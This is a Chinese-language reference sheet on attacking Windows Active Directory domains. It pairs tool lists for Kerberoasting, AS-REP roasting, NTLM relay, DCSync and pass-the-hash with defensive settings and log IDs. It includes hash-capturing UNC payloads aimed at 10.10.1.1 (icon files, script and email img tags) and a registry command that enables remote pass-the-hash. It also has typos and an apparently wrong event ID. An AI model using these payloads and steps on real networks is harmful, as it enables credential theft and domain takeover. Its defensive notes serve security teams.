域环境攻击手法
域内用户名枚举(Username Enum)
Kerberos 协议认证的 AS-REQ 阶段,请求包 cname 对应的值是用户名。当用户状态分别为用户存在且启用、用户存在但禁用、用户不存在时,AS-REP 包各不相同。因此可用以下工具枚举:
- Kerbrute
- pyKerbrute
- MSF auxiliary/gather/kerberos_enumusers
防御手法
-
流量层:检测同一 IP 段时间大量发送 AS-REQ(30+/min)
-
日志层:组策略配置审核策略和高级审核策略,开启记录对不存在用户名发起的 AS-REQ 包的日志
密码喷洒攻击(Password Spraying)
对多个用户使用同一密码爆破,可以使用以下工具:
- Kerbrute
- pyKerbrute
- DomainPasswordSparay.ps1
防御手法
- 流量层:检测同一 IP 段时间大量发送 AS-REQ(30+/min)
- 日志层:口令爆破成功时,会产生时间 ID 为 4768 且结果代码为 0x0 的审核成功的 Kerberos 身份验证服务事件日志。当爆破失败时,默认不记录任何日志
- 设置强口令域密码
AS-REP Roasting 攻击
攻击前提:
- 域用户勾选 “不要求 Kerberos 预身份验证”
- 一台可以与 KDC 88 端口进行通讯的主机
AS-REP Roasting 攻击主要分为两步:
- 获取 AS-REP 响应包中用户 Hash 加密的 Login Session Key
- 对使用用户 Hash 加密的 Login Session Key 进行解密
对于域内机器,由于不需要预身份验证,所以 KDC 会直接返回 AS-REP 包,可以使用以下工具获取使用用户 Hash 加密的 Login Session Key:
- Rebeus
- ASREPRoast.ps1
对于非域内机器,需要拥有一个有效的域账户和密码,首先查询出域内勾选了 “不需要 Kerberos 预身份验证” 选项的账户,再使用 Impacket 下的 GetNPUsers.py 获取使用指定用户 Hash 加密的 Login Session Key,可以使用以下工具:
- adfind
- impacket
防御手法
- 取消勾选 “不需要 Kerberos 预身份验证” 选项
- 日志层:关注事件 ID 为 4768 且预身份验证类型为 0 的日志
Kerberoasting 攻击
在 Kerberos 协议的 TGS-REP 阶段,KDC 的TGS 服务返回一个由服务 Hash 加密的 ST 给客户端,因此客户端可以本地离线爆破,有可能获取 SPN 链接用户的明文密码
主要分为四步:
- 查询域内注册于域用户下的 SPN,可以使用以下工具:
- RiskySPN
- GetUserSPNs
- PowerView.ps1
- 请求指定 SPN 的 ST,可以使用以下工具:
- Impacket-GetUserSPNs
- Rubeus
- mimikatz
- 导出 ST,可以使用以下工具:
- mimikatz
- Empire
- 爆破 ST
- kerberoast
- tgscrack
- hashcat -m 13100
防御手法
- 确保服务账户和密码为强密码,定期修改
- 配置 KDC 返回的 ST 强制使用 AES256_HMAC 方式对算法加密
- 对域内服务账户权限进行限制,采取最小化权限原则
- 日志层:关注事件 ID 为 4796(请求 Kerberos 服务票据操作)的日志,如果日志过多,可以筛选出票据加密类型为 0x17(RC4-HMAC)的日志
- 定期使用 zBang 工具检测当前域内危险的 SPN
委派攻击
可以使用以下工具:
- impacket
- Powerview
- StandIn
- Rubeus
- Mimikatz
非约束性委派攻击

约束性委派攻击

基于资源的约束性委派攻击

防御手法
- 高权限的用户设置为不能被委派
- 主机账户需要设置委派时,只能设置为约束委派
- Windows 2012 R2 及更高版本的系统创建了受保护的用户组,该组内的用户不允许被委派,将需要被保护的服务账户加入该组即可
Kerberos Bronze Bit 漏洞
CVE-2020-17049
修复补丁:KB4586793-KB4598347…
Kerberos 协议缺陷
- 绕过了 Protected Users 组内用户和设置了“敏感帐号,不能被委派”的安全措施
- 绕过在设置约束性委派时勾选“仅使用 Kerberos” 选项,即无法进行协议转换
1、约束性委派攻击绕过
- impacket-getST 添加参数 –force-forwardable
2、基于资源的约束性委派攻击绕过
- impacket-getST 添加参数 –force-forwardable
Net-NTLM Relay 攻击
攻击发生在 NTLM 认证的第三步,在 Response 消息中存在 Net-NTLM Hash,当攻击者获得了 Net-NTLM Hash 后,可以重放 Net-NTLM Hash 进行中间人攻击。
因此,攻击分为两步:1、捕获 Net-NTLM Hash;2、重放 Net-NTLM Hash
捕获 Net-NTLM Hash
可以使用 Responder.py 来接受 NTLM 请求。
LLMNR 和 NBNS 协议
控制目标机器请求 Responder 的 SMB、HHTP 等服务
打印机漏洞
任何经过身份验证的域成员都可以连接到远程服务器的打印服务 spoolsv.exe,令其向制定目标进行身份验证。由于打印机是以 System 权限运行,因此可以访问打印机的 MS-RPRNRPC 接口,迫使打印机服务向指定机器发起请求,就能取得目标机器的 Net-NTLM Hash 了。
可以使用 printerbug.py 脚本触发 SpoolService Bug
PetitPotam
CVE-2021-36942
漏洞利用了微软加密文件系统远程访问协议(Microsoft Encrypting File System Remote Protocol,MS-EFSRPC),MS-EFSRPC 用于对远程存储和通过网络访问的加密数据执行维护和管理操作。利用 PetitPotam 可以连接 LSARPC 强制出发目标机器向指定远程服务器发送 Net-NTLM Hash
可以使用脚本 Petitpotam.py 触发目标机器发起 SMB 认证
图标
当图标的一些路径改成指定的 UNC 路径,就能受到目标机器发来的 NTLM 请求
-
desktop.ini
IconResource=\\10.10.1.1\a\b.dll
-
.scf 扩展名文件
IconFile=\\10.10.1.1\a\b.dll
浏览器
对于网页中出现类似标签
<script src="\\10.10.1.1/a/b"></script>
IE 浏览器会直接发送当前账户 SMB 类型的 Net-NTLM Hash
Outlook
Outlook 支持发送 HTLM 格式的邮件,于是可以发送一下 payload
<p>邮件内容</p>
<img src="\\\\10.10.1.1\\test">
目标用户打开邮件后,Outlook 客户端就会自动向制定 UNC 路径进行认证,便可以接收到目标用户的 Net-NTLM Hash
系统命令
net.exe use \hostshare
attrib.exe \hostshare
...
hwrreg.exe \hostshare
icacls.exe \hostshare
Office
WPAD (Web Proxy Auto-Discovery Protocol)
web 代理自动发现协议
重放 Net-NTLM Hash
获取到 Net-NTLM Hash 后有两种利用手法
- 使用 Hashcat 破解
- 中继 Hash
中继到 SMB 协议
是最简单直接的方法,可以控制该服务器执行任意命令。根据环境分为两种场景:
- 工作组
工作组环境中,机器之间没有信任关系,除非两台机器的账户和密码相同,但是若相同可以直接 Hash 传递,但是可以中继到机器自身:
MS08-068 Relay To Self,微软在 KB957097 补丁中通过修改 SMB 身份验证答复的验证方式防止凭据重播
CVE-2019-1384 Ghost Potato,绕过了 KB957097 补丁限制,可以使用修补过的 ntlmrelayx.py
- 域环境
域环境中,普通与用户默认可以登陆除域控以外的其他所有机器,因此可以中继域用户的 Net-NTLM Hash
Impacket-smbrelayx.py Impacket-ntlmrelayx.py Responder-MultiRelay.py
中继到 HTTP
很多 HTTP 服务也支持 NTLM 认证,因此可以中继到 HTTP
Exchange 认证 ntlmRelayToEWS.py
ADCS 注册接口
中继到 LDAP 协议
- 从 HTTP 中继到 LDAP 是不需要签名的,例如:CVE-2018-8581
- 从 SMB 协议中继到 LDAP 是需要签名的,例如:CVE-2019-1040 就是绕过了 NTLM 消息完整性校验
NTLM Relay 防御手法
- 对 LDAP 进行安全加固
滥用 DCSync
在域中,不同的域之间,默认每隔 15 min 会进行一次域数据同步,DCSync 利用此原理,通过目录复制服务(Directory Replication Service,DRS)的 GetNCChanges 接口向域控发起数据同步请求,以获得指定域控上的活动目录数据。目录复制服务是一种用于在活动目录中复制和管理数据的 RPC 协议,由两个 RPC 接口组成,分别为 drsuapi 和 dsaop
在 DCSync 功能出现前,想要获取域用户的哈希等数据,需要登陆域控并在其上执行操作才能获取,2015年8月,新版 mimikatz 增加了 DCSync 功能,有效的模拟了一个域控
默认情况下,不允许从只读域控上获取数据
DCSync 工作原理:
1. 在网络中发现域控
1. 利用目录复制服务的 GetNCChanges 接口向域控发起数据同步请求
具有 DCSync 权限的用户
- Administrators 组内用户
- Domain Admins 组内用户
- Enterprise Admins 组内用户
可以使用 Adfind.exe 查找
修改 DCSync 的 ACL,向普通用户加入两条 ACE:
- DS-Replication-Get-Changes:复制目录更改权限,rightsGUID为:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
- DS-Replication-Get-Changes-All:复制目录更改所有项权限,rightsGUID为:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
- 某些环境需要 Replicating Directory Changes In Filtered Set(复制筛选集中的目录更改权限)
-
可以使用图形化添加:Active Directory 用户和计算机 -> 查看 -> 高级功能 -> 找到域名 -> 右击属性 -> 单击安全选项卡的高级按钮
-
Powershell 脚本 powerview 赋权
DCSync 攻击
当拿到了具有 DCSync 权限的用户时,可以利用以下工具进行 DCSync 攻击
- Impacket-secretsdump.py
- mimikatz
- PowerShell Incoke-DCSync.ps1
利用 DCSync 获取明文凭据
如果账户勾选了“使用可逆加密存储密码”属性,用户再次更改密码会现实其密码明文。
DCSync 攻击防御
- 只允许指定白名单内的域控 IP 请求数据同步
- 清理 DCSync ACL 滥用
PTH
禁用 UAC 远程链接限制:
# 管理员组的用户远程连接时获取一个具有管理员权限的令牌
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
Hash 碰撞
- CrackMapExec
- MSF-exploit/windows/smb/psexec
利用 PTH 横向移动
- mimikatz
- impacket-psexec.py、smbexec.py、wmiexec.py
- MSF
KB2871997 补丁影响
补丁对域环境中的敏感用户的 PTH 有缓解作用,但是对非 Protected Users 组用户并不能缓解
PTH 防御手法
- 禁止本里管理员远程 PTH
- 监控注册表,防止管理员组可以远程获取管理员权限
- 设置“拒绝从网络访问此计算机”和“拒绝通过远程桌面服务登陆”
- 将域内敏感用户加入 Protected Users 组
定位用户登陆的主机
注册表查询
当用户登陆了某台主机,在该主机的 HKEY_USERS 注册表内有该用户的文件夹
也可以使用 AdFind.exe -f “objectSid=S-1-5-21-………” -dn 来查看
通过当前登陆的用户查看
- Psloggedon
- PVEFindADUser
域控日志查询
- SharpADUserIP
- PowerShell
域林渗透
查询域控
查询域管理员和企业管理员
查询所有域用户
查询所有域主机
跨域横向攻击
- 获取子域域控权限
- 黄金票据 + SID History 获取林根域权限
- Inter-realm Key + SID History 获得林根域权限
林根域防御手法
- SID 过滤,避免攻击者利用 SID History 属性进行权限提升
- 禁用 SID History
